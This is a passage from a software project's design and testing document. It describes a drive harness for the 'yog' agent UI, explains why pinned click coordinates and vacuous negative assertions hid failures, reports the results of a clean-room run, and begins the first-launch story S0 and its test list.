  row both badged. Then ↓ back onto it: the strip goes quiet, `ui.json` records
  the seen watermark, and the **state badge stays** — §6's "acknowledging clears
  the signal, not the fact", on a live wound. Both halves name the conversation
  **by its id** — the stop's own argv, and the watermark's agent key — because
  the beat is about *which* conversation the selection was on, and neither a
  count of stop rows nor the mere presence of a `seen` key can tell. Nothing is
  pressed to reach it: the start that made it selected it (DESIGN §3.4, bl-49cb),
  and the list has ranked nothing since bl-cad5, so the ↓ that once aimed at "the
  in-flight head" now only walks a round trip (bl-2d45).
- **S4 by-ball toggle** — `by ball` partitions the same rows (the delivered ball
  heading its conversation, `unassociated` trailing) while `ui.json` stays
  byte-identical and `ops.jsonl` gains no line: viewport ephemera, stored
  nowhere (§13.1). This beat and the activity one below assert a **negative**, so
  a click that missed would pass them vacuously — nothing on disk can tell the
  difference, because "stored nowhere" is the property under test. Their
  screenshots are the other half of the proof, and the log describes them.
- **S4 New workspace** (S4-T1) — the deliberate raise fires a second `lernie
  new` with the operator's typed, validated name (DESIGN §3.1 as amended at
  bl-df65), and the tab strip grows a second
  tab in name order. The raise also **focuses** what it raised (DESIGN §3.4), so
  the next Enter in the bottom composer prompts the *raised* sphere and founds
  nothing further — the beat reads that off the dispatched argv, since focus is
  per-instance RAM and appears in no file (bl-2826: without it the goal went
  silently to the workspace the operator had just left).
- **S6 activity chip** — expanding the chip and an ops row renders argv / cwd /
  exit verbatim and adds **no** ops line: the accessory is a pure read.

**Beats driven, world A** (P3's S5 + S8, and the residual S3/S4/S6 ball rows —
`run-s5s8`, zero model calls):

- **S5-T1/T2 were driven and then deleted, in that order** — a footnote worth
  keeping because it is the ladder working as designed. Against pre-W13 `main` the
  runner drove the phase-1 gate live: a capable tuple rendering an ok row per tool
  with **no** remediation text, and — relaunched against a stub `lernie` missing
  one driven verb — a mutating dispatch refusing *carrying that verdict*, as a
  `["yog-step","gate"]` ops row, with **no lernie spawn at all** and the balls
  section still fully rendered. Then W13 landed and deleted the gate, so those
  three beats were removed with it rather than left to rot: S9's "removed, not
  skipped" is now a thing that happened to a real drive, and the run is quoted in
  the 2026-07-27 `run-s5s7s8` drive.
- **S5 the §9.1 write path** (S5-T3/T4) — on the workspace's own wall config, with
  the pane's `raw config.toml` fold **opened first** (since bl-2622 the draft and
  its Apply / Reload live inside it): an Apply
  that lands, then a file changed underneath whose Apply is **refused** (bytes
  identical, `conflict — reload to re-diff`), then Reload and the *same* Apply
  landing, then a malformed draft that **cannot** land (destination byte-identical,
  `bz` itself the gate). The order is deliberate: each negative sits between two
  proofs that the same coordinate works, because a click that missed would
  satisfy a "nothing moved" assertion vacuously — which is not hypothetical: both
  negatives read PASS for as long as the stale coordinate clicked a provider row
  (bl-f8dc). The wall config is seeded **before** the pane is opened, because §9's
  freshness is the open gesture: a draft that loaded "file absent" refuses every
  Apply against a file that exists.
- **S5 the config-branch shim** (S5-T5) — a drafted file staged and `lernie
  config <ws> default` driven with yog itself as `$EDITOR`: exit 0, the file on
  `config/default`, and the checkout's own `descriptions/` **untouched** — the
  shim copied only the draft.
- **S8 the hatches** (S8-T3) — `yog env` prints exactly the world's three
  override lines (`LERNIE_HOME`, `XDG_STATE_HOME`, both nested, then the `PATH`
  prepend of `world/tools/`) and no others; `yog exec --cwd` runs its argv under
  them at the requested cwd; and resolving *through* that `PATH` finds `yog`
  itself — `command -v yog` inside the world is the world's own shim, and the
  shim execs the binary under drive rather than an installed one (bl-3ff4,
  bl-8398).
- **S8 the nesting, severable** (S8-T1/T2) — the project's balls clone exists in
  the nested store and **not** in the ambient one, the ambient world's own seed
  file is byte-identical across the run, and `rm -rf <scratch>/yog` takes the
  world with it and nothing else.
- **S8 the task-branch knob** (S8-T4) — two agents resolve two balls spaces, an
  amendment moves one agent's branch and nobody else's, and the launch decides
  which space an agent gets: the policy is one key in balls' own config inside
  that space, so no yog-owned file is written.
- **S3 new ball converges** (S3-T2) — Create & Start is `bl create` then the
  existing-ball path: exactly **one** claim.
- **S4 assign / release** (S4-T2) — Assign claims a ready ball `--as` the focused
  workspace and starts **no** conversation (no mint); Release unclaims stamping
  the ball's own claimant.
- **S3 the close gate, verbatim** (S3-T4) — with a failing `pre-commit` hook and
  real work in the ball's worktree, Close's ops row carries the hook's own stderr
  and the ball stays **claimed**, not delivered.
- **S6 the chip's `M ⚠`** (S6-T5) — that live failure lights the chip's error
  count in ichor, and expanding it (and the failed row, to argv/cwd/exit/stderr)
  spawns nothing.

**Beats driven, world C** (P3's S7 + §6's remaining predicates — `run-s7`, one
model call plus one stamped-goal call):

- **S7 the descent** (S7-T5) — a single-agent conversation has **no** descent to
  unfold; with a child laid, the conversation's list row unfolds one row per
  member, and selecting the member retargets the inspector *and* records the
  **child's** own acknowledgement watermark in `ui.json` — which is how a
  selection that lives in RAM leaves a fact on disk. Re-pointed by bl-8905 from
  the altitude-1 descent tree onto the list that replaced it.
- **S7 the drill-in survives bad bytes** (S7-T2) — a `request.json` that is not
  JSON renders verbatim under the §11 **error row** ("unparseable JSON — bytes
  verbatim below", in ichor), its sibling tabs still build, yog stays alive, and
  the ops trail does not grow. The framing is the bl-307f fix: rendered bare, a
  malformed file was indistinguishable from a file whose content happens to be
  that text.
- **S7 the inbox** (S7-T4) — the tab explains `✉n` with from/deposited_at/epitaph
  parsed, and the flush dispatches `lernie scan <ws>` (the composer's `Scan`, not
  a second button in the tab). The verb's own exit is upstream's: on this tuple
  `lernie scan` fails for a **root** recipient, surfaced verbatim (bl-a942).
- **S6 the ref-marked predicates** (S6-T1 rules 3/4) — `budget-exhausted` and
  `conflicted` marks stir the strip, and one ↓ from a cleared selection writes
  *both* watermarks: the world also holds a strictly **newer** unmarked root, so
  a sort by recency alone would have landed there and recorded nothing —
  attention outranks recency, asserted rather than assumed.
- **S6 mail is not silenceable** (S6-T1 rule 5) — pending mail with the lock free
  keeps stirring after the ack, and **no** `mail` watermark exists to write.
- **S6 the ack converges** (S6-T2) — a second instance over the same `ui.json`
  renders the acked state and adds no ops line.
- **S4 the uncoloured id** (S4-T4's remaining case) — a goal stamped `Ball
  bl-9999:` in a world whose join knows no such ball: the stamp is on disk and the
  badge renders the id with no colour.
- **S4 the tab strip's overflow and pins** (S4-T7) — a foreign workspace falls to
  the ⋯ menu (hidden while empty), and ★ hoists it into the tabs with the pin
  durable in `ui.json`.

**A gesture must not ride on pixels.** A hardcoded click coordinate is a
standing regression source against a live UI: a row inserted above a target
silently retargets every click below it — the 2026-07-24 run's S1 message beat
fired a *prompt* because the conversation list had grown its `recent | by ball`
toggle where the beat clicked. The reason it is a regression source is worth
naming exactly: **a coordinate is not a spelling.** It is a measurement of a
layout, and a layout is not something yog promises. So the runner's steering
rule is to drive a **named** spelling, and there are exactly two.

**(1) The DESIGN §11 keyboard binding, where the beat's subject is the window.**
↓/↑ step the focused workspace's visible conversation rows (DESIGN §11 as
amended by bl-fa82; ←/→ unfold one) and land through the `focus_agent`
path, selecting an agent in one key — which
is why the runner's whole selection gesture is a single `xdotool key Down` where
it was once a workspace-tab click plus a conversation-row click; the workspace
is the tab bar's now, since the walk no longer crosses a wall; digits 1–5 pick
an inspector tab the same way. S0/S1 are windowed rungs end to end and carry no
coordinate at all.

**(2) The DESIGN §8.5 control boundary, where it is not** — VISION §4.8's last
consequence, verbatim: *"The drive harness stops steering pixels: story beats
address the headless surface, and screenshots become what they always should
have been — visual confirmation, not the transport."* `stories.sh`'s `gesture`
helper is `yog gesture '/line' --ws … --project … --as …`: the same `Gesture`
the window's click-glue constructs, deposited into the **running** yog's
gestures inbox and dispatched by its own consumer thread. Three things follow,
and they are why this is not merely a tidier click:

- **It needs no seat.** A boundary gesture is named, not aimed — no display, no
  window id, nothing to measure. The terminal holds no selection, so the line
  states its targets outright; those flags *are* §8.5's "a seat with no
  selection spells its targets".
- **It is its own receipt**, so no `until_landed` wraps one. That primitive
  exists because a click has no reply and may have hit blank panel; a deposit
  answers or times out, and `yog gesture` exits on the verdict.
- **The screenshot after it now proves something it never could** — that the
  window converged on a gesture *it did not fire*. Deposit → consumer →
  watcher → re-derivation → frame is the whole I0 claim, photographed.

**A §11 rule-2 pick is a pick only at the pointer.** Rule 2 ("choosing among
several targets stays a pointer gesture") bounds the *keymap*, not the surface:
where the thing picked has an address, the line names it. That is what retired
`assign →`'s coordinate — `/assign <id>` says which ball outright — and the
`+ new ball` form's four (a fold, two text boxes, a per-project button, all of
them measurements of a side panel whose width follows the scratch directory's
name), since `Create & Start` is `Action::Prepare` with a `BallSpec::New` and
`/prepare ball --new <title> --body <text>` is that variant, typed. bl-3f46's
config wave then retired six more the same way: the lineage Send's form becomes
`/config branch <lineage> <path> <text…>`, and the task-branch knob's buttons
become `/marks <branch>` — one word, the branch itself, since the
per-agent ruling made the knob an agent's tracking space rather than a
project's publish policy (bl-e47b).

**A surviving coordinate is DERIVED, not pinned (bl-b9f2).** The rule above
retires clicks; this one governs the clicks it cannot retire. "Measure it
against a screenshot, and re-measure when the layout changes" was the runner's
standing instruction and it failed three times in three weeks — bl-2622,
bl-f8dc, then bl-b9f2, where bl-5410 gave each of brazen's seven provider rows
its own wrapped hint line and moved the §9.1 raw fold 119 px below the pixel two
beats were still clicking. The re-measure only ever happens *after* a beat has
been red for a day, because a pinned number is a second representation of a
layout and nothing tells it the layout moved. So a beat that must use the
pointer reads its point off the frame it is about to drive, from a structure
that moves with the layout: `scripts/drive/locate.sh` finds the `ui.separator()`
that ends brazen's pane in the run's own screenshot and folds every §9.1 point
off it — the fold, the raw editor, Apply and Reload. What stays written down is
a distance *inside one widget* — a fold's header-to-body gap, a
`desired_rows(6)` box's height, the button row beneath it — which only that
widget's own contents can invalidate.

**bl-5cce then put the runner's other eight coordinates through the rungs
above, and there is now no pinned pixel left in the harness at all.** One fell
to rung 2: the marks pane's `Read current` was still being pressed at a measured
point tagged "no spelling exists", six weeks after bl-0164 landed `/marks` bare —
and the beat had been firing that very line two statements below the click. Six
were views with no spelling by design and are derived off three anchors
(`locate.sh`'s four surfaces): the §11 tab bar's own rule and the window's right
edge for the ⋯ overflow and the ★ in its menu, the centre's header/tab-strip
separator for the inspector's Raw toggle, step selector and record picker, and
the window's *bottom* edge for the activity trail's newest ops row — which the
§11 tail idiom seats there whatever the chip heading, the trail controls or the
§7.2 staleness notes do above it. **What that pass found is the argument's
sharpest form.** Five of the eight had already drifted and no beat had noticed:
bl-1ff1 put a Raw checkbox above the Steps tab's step selector and bl-1ca2 put a
whole centre tab strip above the inspector, so S7's three clicks had spent twelve
days landing on blank panel; the marks click had been ~119 px stale since
bl-5410 and was landing in the *lernie* editor two panes down. Every one of those
beats printed PASS throughout, because a pinned coordinate whose beat asserts a
negative is not a test — it is a number that only a human re-measure can falsify,
and the re-measure never comes.

**What a coordinate still means, in three kinds.** Every remaining click is
tagged in the runner with which kind it is, and they are not interchangeable:

- **A VIEW — no spelling exists, by design.** §8.5 gives views no boundary
  representation on purpose, so there is nothing to prefer over a pointer:
  focusing a text box (§8.5's own example), the center tabs and the inspector tabs
  ("switching tab doesn't"), the Raw toggle, which descent-tree member or ops
  row or step record to open, the ★ pin and the balls fold (§4.1 presentation
  durables, which §8.5 keeps on the views' side outright). Permanent, not debt —
  and since bl-5cce every one of them that a beat actually drives is derived per
  run rather than written down.
  **One of these got narrower (bl-f6fe):** selecting a conversation is still a
  view and still has no spelling — but the *acknowledgement* it carries now
  does, as `/seen`, because a seat with no focus cannot acknowledge by looking
  (S14, DESIGN §8.5). The pointer gesture is unchanged; what changed is that a
  headless seat is no longer unable to answer the strip.
- **A FRAME-ONLY entry — a spelling exists and is the wrong one.** The three §9
  file editors' Apply stays on `Editor`/`BrazenEditor` because the pane holds a
  long-lived RAM draft and the §9 hash guard is over *that draft*; a deposit has
  none, so `/config brazen` degenerates the guard to a must-not-exist check.
  S5-T4 (the guard) and S5-T3 (the malformed draft that cannot land) are
  assertions about the draft, so the pointer is their only honest seat. Also
  permanent, and for a reason §8.5 states. **The §11 focus floor (bl-478d) does
  not retire it either, and bl-b9f2 re-asked that at the source rather than
  taking the claim on.** `form_ui::raw_editor` ends in `.code_editor()`, which
  in egui 0.29 is `.font(Monospace).lock_focus(true)`, and `lock_focus` sets the
  box's `EventFilter { tab: true }` — so while it holds focus, Tab *and*
  Shift+Tab are both eaten as indentation ("inside it Tab indents", the hover's
  own words, and they are accurate). The walk cannot step off the draft in
  either direction. That was **driven, not reasoned**: swapping these two clicks
  for Tab-then-Space put a literal tab character in the draft, left Apply
  unpressed and reddened both bracket beats. Walking from the bare plane instead
  would trade a pixel for a stop count the wrong way round: a missed click hits
  blank panel, a mis-counted Space *presses* whatever the walk reached. What
  bl-b9f2 did change is that the pixel is no longer *pinned* — see the rule
  above; it is folded off the same run-time anchor as the two views.
- **NO SPELLING AT ALL — the kind that closed.** The config panes' *reads*:
  the marks pane's `Read current`, the editors' `Reload`, the login pane's
  `↻ providers + credentials`. Each was a **query** by §8.5's own taxonomy while
  `Query` carried no marks/providers/config variant, so a headless seat could
  only learn the branch by changing it. Filed and landed as **bl-0164** —
  `/marks` bare, `/config <destination>` bare, `/providers` — which retired the
  kind. **A tag is not a fact, and this one outlived its subject by six weeks**
  (bl-5cce): the runner went on pressing `Read current` at a measured point under
  the old tag, two statements above the `/marks` line that already asserted the
  same read. The click is gone; `Query::Marks` is what its own body constructs,
  so the line and the button are one implementation and the line is the seat that
  can answer. A retired kind must be swept out of the runner in the same breath,
  or the coordinate it excused survives it.

**Drivable next.** The harness now asserts S0/S1, S3/S4/S6, S5, S7 and S8 (the
four worlds above, 64 beats). What is left, and why:

- **Not driven, and the reason is the gesture itself:** S5-T6's login rows — the
  device flow ends at a real OAuth prompt, so a beat could only assert that a
  button spawns `bz`; the streamed device lines stay S0-T5's fake-substrate half.
  (The pane's `↻ providers + credentials` / per-row `Login` surface does render.)
- **Not driven, needs a fixture nobody has laid:** S7-T3's budget fold is
  *visible* in every world-C header but not *asserted* (the figure is derived RAM
  with no on-disk counterpart, and the limit line wants a `workflow.yaml`
  fixture); S4-T6 is driven only at its head (one ↓ landing on the
  attention-bearing root over a newer unmarked one) — subtree aggregation
  (`InFlight > Live > settled`, §10's `?`) over four roots in known states is
  still unlaid; §6 rule 5's *self-clear* needs a live driver racing a deposit;
  S4-T4's "a ball an agent claimed mid-conversation" case needs an agent that
  claims one.
- **Not drivable:** S9 — it waits on phase 2.
- **One known asymmetry worth keeping in view.** A negative assertion ("nothing
  was written", "no row appeared") is satisfied by a click that missed, so the
  runner brackets each one between two positives on the same coordinate wherever
  a positive exists (the §9 editors do; the activity chip's `M ⚠` count and the
  `by ball` toggle do not, and there the screenshot is still the other half).
  **What that costs, measured (bl-5cce):** S7-T2's whole gesture — pick a step,
  pick the malformed record, toggle Raw — asserts only that the ops trail did not
  grow and that yog is still up, and it held that PASS through twelve days of
  clicking blank panel *and* through driving the wrong agent entirely: `s7_descent`
  left the selection on the laid child, which has no steps at all, so the tab the
  beat opened read `(no steps yet)`. Both are fixed — the selection by a §11 `↑`,
  the points by derivation — but the lesson is the ordering: a derived coordinate
  removes the drift, and only a positive assertion removes the blindness. Where a
  surface's state is §5.3 RAM there is no positive to reach for, and the honest
  reading of such a beat is "nothing crashed", never "the gesture worked".
  The asymmetry is a property of the *pointer*, not of gestures at large: a
  boundary gesture returns a verdict, so a negative asserted after one is not
  vacuous — which is the second reason to prefer a spelling over a coordinate.

**Run logs** live with the run, not in this repository: `drive.sh` writes
`<run>/drive-log.md` under `$DRIVE_ROOT` (default `$XDG_CACHE_HOME/yog-drive`),
beside the shots and `verdicts.jsonl` it quotes. One file per real run, quoting
the wire replies verbatim and recording pass/fail per beat plus any UI
observation that becomes follow-up work. They used to be committed under
`docs/drive-logs/`; bl-244f burned that directory — the logs were the largest
carrier of operator-home paths in the repository's history — so what survives a
run into the tree is the balls it filed and the claims below, each naming its
run by date and verb. QUALITY.md §3 step 6 is the protocol.

**Where the second half stands: S0 and S1 are GREEN.** The 2026-07-26 `run`
drive passed all eight beats
against a live `gpt-5.4` wire — the goal typed, `Wire check OK.` on disk and
**painted in the transcript** with real usage folded into the header, a
`lernie message` answered inside the existing conversation, a pure restart, and
a second root agent with no re-mint. So for P0 both halves of the intro's
done-bar hold: fake-substrate tests *and* the real flow. Two prior runs are the
history worth keeping — 2026-07-24 (payoff + message red on a host tool skew,
`bz` 0.0.4 against a `lernie` linking brazen 0.0.3) and 2026-07-25 (selection
moved onto the §11 keys) — and both were red for reasons outside yog: the fix
was rebuilding the stale installed `lernie` against the `bz` beside it (bl-f69b).
**A red drive is a claim about the machine as much as about the code** — check
the tool tuple before reading a wire failure as a regression.

**And the second half now holds for S3, S4 and S6 too.** The same-day
`run-s3s4s6` drive passed all
fifteen of its beats on the same tuple: a ready ball claimed and **closed**
with the workspace's own name, the join re-deriving *delivered* across every
surface, a second conversation with no re-mint, a live Stop stirring the
attention strip and an ↓ clearing it while the state badge stayed, the by-ball
toggle proven to write nothing, a second sphere raised, and the activity chip
proven a pure read. That closes the **real-substrate** half of the done-bar for
those rungs; their fake-substrate half is still Z10/Z12's row of tests, so S3,
S4 and S6 are **not yet done** — they are half-done from the other side than
usual, which is the honest reading and the reason the two halves are named
separately.

**The ball rung is RED on main right now, and the harness is how we know**
(bl-c9f2): under the embedded balls, `bl claim` fails with `bl-delivery: no ball
on the wire: neither command.id nor a sealed bl-id trailer (§7)`, so 9 of
`run-s3s4s6`'s 15 beats and 7 of `run-s5s8`'s 26 go red on one cause — the whole
S3 ball rung, S4-T2's verbs, S3-T4's gate, and every S5/S8 beat that needs a
workspace *bound to a project*. `run` (S0/S1) and `run-s7` are 8/8 and 12/12 on
that same build, which is what localises it. It landed unseen because the
batteries' own proof was the W14 clean room driving **S0/S1 only** — the two rungs
that never touch `bl` — and `cleanroom.sh` takes any verb, so the guard against a
repeat is one argument. **A red drive is a claim about the substrate as much as
about the code**: the beats below were green on the immediately preceding main.

**And it holds for S5, S7 and S8 as of 2026-07-27** (the `run-s5s7s8`
drive): 41 further beats, all green, on the same
tuple. The gate refusing a mutating dispatch with the verdict it named, all three
§9 editors written through (a hash-guard refusal bracketed by two Applies that
land, a malformed config that `bz` itself rejects, a staged file delivered onto a
config branch by `lernie config` with yog as `$EDITOR`), both §8.4 hatches, the
nested world proven severable, the marks knob driving `bl conf` and writing
nothing of its own, the descent tree with a member selection that leaves the
child's own watermark on disk, a malformed step file that costs nothing, §6's
budget/conflicted/mail predicates, the ack converging across instances, the
uncoloured badge, the ⋯ overflow's ★ pin — and the residual ball rows the S3/S4
runner had left (new-ball convergence, assign, release, the close gate refusing
verbatim, the chip's `M ⚠`). Their fake-substrate halves are still Z11/Z13/Z14's
rows of tests, so S5, S7 and S8 are half-done from the same unusual side.
**S2 has no drive beats** (its path rung is one composer field away and worth a
beat when the runner next grows one), and S9 has none. "Drivable next" above is
the standing inventory of what the harness could reach.

**Three defects the drive found** (the runs themselves changed no Rust; the
fixes landed after): **bl-9cb0 — FIXED** — the marks pane and the composer's
ball row rendered for a workspace with *no* ball, because `focused_join` handed
back the §3.5 `UnassignedWorkspace` row whose project and ball id are empty, and
the knob's `bl conf` then failed with a missing-binary message for a no-project
fact. `focused_join` now carries `ws_balls`' own `!ball_id.is_empty()`
predicate, so a workspace no ball claims focuses no ball and both surfaces
render their empty state (S4-T3 asserts the negative; DESIGN §16.3 states it).
**bl-307f — FIXED** — a step file yog cannot parse rendered as plain bytes with
no framing, while §11 and S7-T2 both promise an "error row". Taken as the ball
recommended (the code, not the promise): `Doc` now names the three facts a
record file can be — `Json` / `Absent` / `Unparsed` — and the renderer frames
the last with `steps_view::UNPARSED` above the verbatim bytes. **bl-a942** — upstream, `lernie scan` exits 1
whenever a root agent holds pending mail; yog dispatches and surfaces it
verbatim, which is its job, so the S7-T4 beat asserts the dispatch.

### The standing done-bar: the clean room (§16.7 W14, 2026-07-26)

**From here on, "the flow works against the real one" means it works with only
`yog` and `git` on `PATH`.** That is the bar every future real-substrate claim in
this document is measured against, because it is the only run that can *fail*
when a spawn resolves a host binary — with `lernie`/`bl`/`bz` unresolvable, a
fallthrough is an `ENOENT`, not a silent success. One command re-runs it:

    make drive-cleanroom                      # DRIVE_VERB=run-s3s4s6 for another rung

which builds the release binary, preflights the host and lays the room under a
stamped scratch root. The primitive it wraps is unchanged and still direct:

    scripts/drive/cleanroom.sh target/release/yog /tmp/w14 /tmp/w14-shots run

**S0/S1 clear that bar.** The 2026-07-26 W14 clean-room drive recorded
all eight beats PASS on a live `gpt-5.4` wire in the room — the reply painted in
the transcript — with a `ps` sampler showing every substrate process image in the
chain to be the driven `yog` itself under a namespace prefix (`yog lernie
prompt`, its own successor `yog lernie advance`, and the adapter `yog bz --json
--provider codex`) and **zero** host-binary processes in the window. The ops
argv rows stay logical by design (§8.2), so that physical proof comes from `ps`
and from the seeded `world/tools/{bl,lernie,bz}` shims, each an `exec
'<the driven yog>' '<namespace>' "$@"`. Nothing reaches in from the ambient
world: the blast-radius ruling retired §16.2's brazen carve-out, so
the wire's precondition is now a **copy** — `wall.sh`'s `seed_wall` lays the
host's brazen config and credential files into the room's own
`<world>/walls/home/brazen/` with the world seed, before the launch (bl-49c6,
bl-1851).

**And the same room falsified the ball rung — since repaired.** `run-s3s4s6`
never reached a beat at W14: its fixture's first act is the gesture yog's own
empty balls section renders — `No projects yet — add one with: yog exec bl
prime` — and in the room that gesture could not work. `yog exec` layered the
world's `PATH` but never seeded the shims (only the start flow did), so before
a first Start it fell through to the operator's own `~/.local/bin/bl` on every
previous machine and died `No such file or directory` in the room (**bl-44a5**,
fixed: both hatches now converge the tools dir before handing the world out);
and with the shims present the embedded `bl` refused `prime` outright (the
§16.4 W9 ruling) with a remediation — "run a host bl by path" — that was the
very premise this bar deletes (**bl-2930**, fixed: U-balls-3 landed the
plugin-binary seam upstream, yog multiplexes `bl-delivery`/`bl-tracker`, and
the refusal is deleted — §16.4). So S3's rung, which before those fixes had
only ever been walked by the host fallthrough, now runs on the batteries:
`yog exec bl prime` founds a checkout whose plugin chain is yog at every hop,
and `run-s3s4s6` in the room is the standing proof.

**One harness rule learned the hard way (2026-07-26), and it is the whole of the
runner's timing discipline: a clock is never the thing to wait on.** Three reds
in one afternoon were the same mistake in three costumes — an 8 s sleep called
"no reply" on an agent that was four bash round trips deep; a 5 s sleep called
"no stop verb" while `lernie stop` was still reaping a *streaming* driver (an ops
row lands when its child finishes, so its latency is the child's); and, at load
average 84, one blind click at a fixed moment hit blank panel because the balls
section had not painted yet, so the whole ball rung silently never fired. A blind
click is the same fixed-sleep gamble moved from time into space. So the runner has
exactly two waiting primitives and every beat uses one of them: `await
<predicate>` polls a real surface for a verdict, and `until_landed <gesture>
<predicate>` re-fires a gesture until the substrate agrees it landed — safe
because a missed gesture is a no-op and the predicate is re-read before each
retry. **Every remaining `sleep` gates a screenshot, never a verdict.** A fourth
red taught the primitive's own boundary: `until_landed` must own **every step its
predicate depends on**, not just the last one. The S1 message beat was already
wrapped and still died five times over, because the ↓ *above* it had missed —
selection is invisible RAM (§13.1), and an unselected instance renders no
composer at all, so the click had nothing to hit. The precondition now lives
inside the retried gesture. A fifth red taught the **other** side of the same
primitive: the predicate must be MONOTONE, `>=` and never `=`. A gesture that
starts a conversation is not a no-op when it misses, so the retry ADDS to the
very quantity the predicate counts — a slow first attempt lands late, the retry
starts a second, and an equality pinned to `before + 1` is stepped straight over
and can never be true again. The beat then burns all five attempts and reports
"no new agent" against a world holding five conversations its gesture really
started, while the beat beside it passes on the evidence they left (bl-0e44).
Exactness is still assertable — outside the loop, where nothing re-fires, and
best as a count that must NOT grow.
Relatedly, a ball body IS the goal's payload and the fire binds the agent's
working directory to the ball worktree (bl-6654), so an agent reads it as a job
— the drive fixture's body says "run no commands and no tools" to keep a beat
about argv from becoming a beat about wire spend.

**A beat that cannot go red is worse than a missing one**, because a missing beat
is visible and a vacuous one reads as coverage. Three shapes, all found in this
harness and all repaired (bl-afa7, bl-2d45, bl-f16e):

1. **An interpolated subject that can be empty.** `grep -q "$id"` with an unset
   `$id` is `grep -q ""`, which matches every non-empty stream. It bit twice —
   `$minted` when the mint above it failed, `$refused` when the failed-close row
   above it was never written — and in both cases the beat passed *because* its
   own predecessor had failed. So an id-taking predicate REFUSES an empty
   subject rather than interpolating it, in the predicate and not at one call
   site, because a guard that lives at the call site is re-armed by the next
   beat that copies the line.
2. **A predicate satisfied by a different event.** `grep '"seen"' ui.json` is
   true of any world where anything was ever focused, so the S6 ack beat passed
   in the same runs where its own stop reported `no stop verb`. Assert on the
   IDENTITY of the thing the gesture was about — `seen_kind <ui> <agent>`,
   `stopped <conversation>` — never on the presence of a shape.
3. **A negative with no positive bracket.** "the file did not move", "no mail
   watermark exists", "no step died" are all satisfied by the gesture never
   happening, by the file never existing, and by the world being empty. Every
   negative here now carries a positive beside it that proves the subject was
   there to be measured: a hash comparison requires the file to exist (two
   absences used to compare EQUAL), the mail beat requires the ack it is the
   exception to, `no_dead_step` requires that some step wrote a response at all.

And the mechanical corollary, which is cheaper than any of them: **a beat writes
both a PASS and a FAIL, or it is not a beat.** `gesture … || pass "…"` emits a
row only when it succeeds, so the one outcome it existed to catch deleted the
beat from the verdict instead of reddening it — the same blindness as bl-0e44's
duplicate function name, reached by a different road. Every label in
`scripts/drive/` now appears in both a `pass` and a `fail`.

**Four more harness rules, learned the same way (2026-07-27), and every one is
about the harness rather than yog.** *(1)* **A layout is a coordinate too.** An
egui `SidePanel` grows to fit its widest label and never shrinks back, and the
balls section's `+ new ball · <project>` row carries an absolute path — so with
that section open the centre panel starts ~420px further right, which means a
coordinate can drift with *the length of the scratch directory's name*. Collapsing
the section (a persisted §4.1 override, so a landable gesture) before the beats
fixes it. **It was never only a harness lesson** (bl-ac3d, 2026-08-01): the same
row cost the operator the centre pane at 800×500, and the fix is in yog — the row
carries the project's *name*, and no panel may take more than half the window
(DESIGN §11 rules 1 and 5). *(2)* **A wheel is a coordinate in disguise.** A `scroll` verb aimed at
a *limit* still missed, because the limit moves as the panes above it grow and a
text box eats the wheel; the fix was to delete the need — world A trims its seeded
`models.yaml` to the one row it names, the Config tab then fits on one screen, and
the verb was removed again. *(3)* **Drive a stacked column bottom-up**, since each
status line pushes what is below it. *(4)* **`until_landed` must own the retype as
well as the click** — the same lesson as the ↓ above, one costume along: a draft
typed *outside* the retried gesture missed once and five Applies then re-applied
an unchanged draft, a green click with a red beat. And one substantive fixture
lesson: **a ball with no work in its worktree never reaches its close gate** — a
work branch identical to `main` has nothing to squash, so `bl close` never commits
and a failing `pre-commit` hook never runs (two closes exited 0 with the hook in
place before the fixture grew a commit).

## S0 — Stranger: first launch to first reply

Machine state: yog and nothing else (S9's retired bar — the substrates are
linked crates, §16.7); nothing configured — no world, no workspaces, no
projects, possibly no credentials.

1. Launch `yog`: the window opens to the composer, focused, with the wordmark
   and a one-line invitation. Greyed above the box: `will be named <name>`
   (DESIGN §3.3 as amended at bl-df65 and bl-6920 — the name is the
   **conversation's own**, minted; the workspace never enters the prompt, and
   nothing enters the goal) — the name prediction,
   pre-minted as a pure read (§3.3; **nothing at
   all spawns before Enter** — the last read-only spawns, W5's capability
   probes, died with the gate at §16.7 W13). No wizard, no empty dead end, no
   setup screen.
2. Type a goal, hit Enter — **one box, one Enter**. On this one explicit
   action (I7) the world materializes: the `world/tools/bl` agent-tool shim is
   written (§16.7 W9 — so the agent's `bl` is yog's own, first on its `PATH`),
   `lernie prime` seeds the nested home
   (skipped forever after — the seeded world is the general path with the
   seed present, §3.4/W3),
   `lernie new <root>/home` creates the workspace under the fixed default
   name (DESIGN §3.1 — no picker, no mint), the
   previewed conversation name mints (re-derived at fire; the fired mint is
   the truth, §3.3), and the goal — the payload **exactly as typed**, nothing
   prepended (bl-6920; identity rides `--name`, lernie states the stored fact
   in its assembled context) — fires as a detached
   `lernie prompt` with `YOG_NAME=home`, cwd `~`.
3. The start renders in flight (busy indicator per step), then **the reply
   streams into the focused view** — the root appears within a watch tick
   and its streaming tail paints as it grows (§5.1 #10). That is the Codex
   bar: text in, text out, nothing between.
4. Any step failure is a **rendered fact**: the ops line (argv, cwd, exit,
   stderr — §4.2 as amended) expands in the ops pane, and the originating
   surface shows ichor red with argv + stderr tail. That holds for a *driver*
   that dies too, not only a step yog itself ran: the conversation renders the
   §7.3 **no-response wound** — "driver produced no response" in ichor beside
   the step and bannered on the conversation — instead of a `0 attempts · 0 tok`
   row that reads as a quiet step, while the driver's own stderr rides its
   per-spawn sink into the ops trail (§8.1/§13.3). The typed goal survives
   in the composer (the draft is RAM until *sent* — a failed start has not
   sent it). A substrate failure aborts *before* any `bl` mutation (§8.1
   order) — no half-committed state, ever.
5. If the model call needs credentials, the failure surfaces as derived
   agent state (§13.3 — the detached driver has no captured stderr): the
   auth-failed step renders with a **Login** affordance one click away,
   which runs `bz --login --provider <row>` streamed-piped (§8.3 as
   amended) and paints the device code/URL lines live. Credentials stay
   bz's; yog renders, never stores.

Burden check: the user never sees "world", "ball", "worktree", "claim", or a
name picker. One box, one Enter. The name prediction is one grey line.

Tests:
- **S0-T1 bootstrap-bare-start**: empty world, submit → argv sequence
  `lernie prime`, `lernie new <names-root>/home`, detached `lernie prompt`
  carrying `--name <minted>` + the typed text **verbatim** (bl-6920: no
  identity line in the payload), env
  `YOG_NAME=home`, cwd `~`; the pre-submit view-model already predicted the
  minted name (`will be named <a-b>`); ops trail complete.
- **S0-T2 seeded-skip**: seeded world (marker present) → no `prime` spawn.
- **S0-T3 seed-failure-surfaces**: fake `lernie prime` exits 2 → **no `bl`
  spawn recorded**; the error carries argv + stderr; the ops row holds
  stderr; the failure view-model renders argv + stderr tail; the draft
  remains.
- **S0-T5 login-stream**: fake `bz --login` prints a device code → the
